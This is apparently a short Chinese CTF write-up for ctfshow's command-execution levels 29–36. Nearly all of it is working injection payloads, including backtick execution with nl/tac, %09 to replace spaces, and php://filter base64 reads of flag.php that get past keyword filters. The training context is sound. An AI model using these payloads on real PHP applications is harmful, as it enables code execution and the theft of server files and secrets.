ctfshow-web入门命令执行29

29

源代码给了禁用flag

使用tac、nl

复制代码
?c=echo `nl f*`;
?c=echo `tac f*`;

30

多禁用了system和php

和上题区别不大,使用上一题命令就能解

?c=echo `nl f*`;

?c=echo `tac f*`;

31

禁用了空格使用%09代替

?c=echo%09`tac%09f*`;

32

禁用了echo

使用php伪协议

?c=include$_GET["1"]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

最后解一下base64就行了

33

多过滤了"

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

34-36

一样命令就可以得到flag

相关推荐
雨的旋律20998 小时前
linux网卡绑定bond设置一步不少
linux·运维·网络
OpenAnolis小助手8 小时前
Anolis OS Linux Dirty Frag 漏洞安全声明
linux·安全·web安全·龙蜥社区
MXsoft6188 小时前
**国产化环境下运维平台如何做到全栈适配、自主可控?**
运维
北山有鸟8 小时前
解决香橙派没有适配ov13855的3A算法
linux·c++·相机·isp
是垚不是土8 小时前
PostgreSQL 运维工程师 “一本通“ :安装、配置、备份与监控
linux·运维·数据库·postgresql·运维开发
Irene19918 小时前
在 Linux 命令中,- 开头的东西几乎都是“参数/选项“,用来告诉命令“具体怎么做“
linux
IT大白鼠8 小时前
Linux账号和权限管理
linux·运维·服务器
zzzyyy5388 小时前
Linux 下 从 ELF 可执行文件 到 进程虚拟地址空间的加载、映射与运行底层原理
linux·运维
MXsoft6189 小时前
**多协议接入****≠****全栈覆盖:设备监控盲区的真相与破解之道**
运维
厚皮龙9 小时前
使用 SSH 密钥上传 GitHub 仓库流程
运维·ssh·github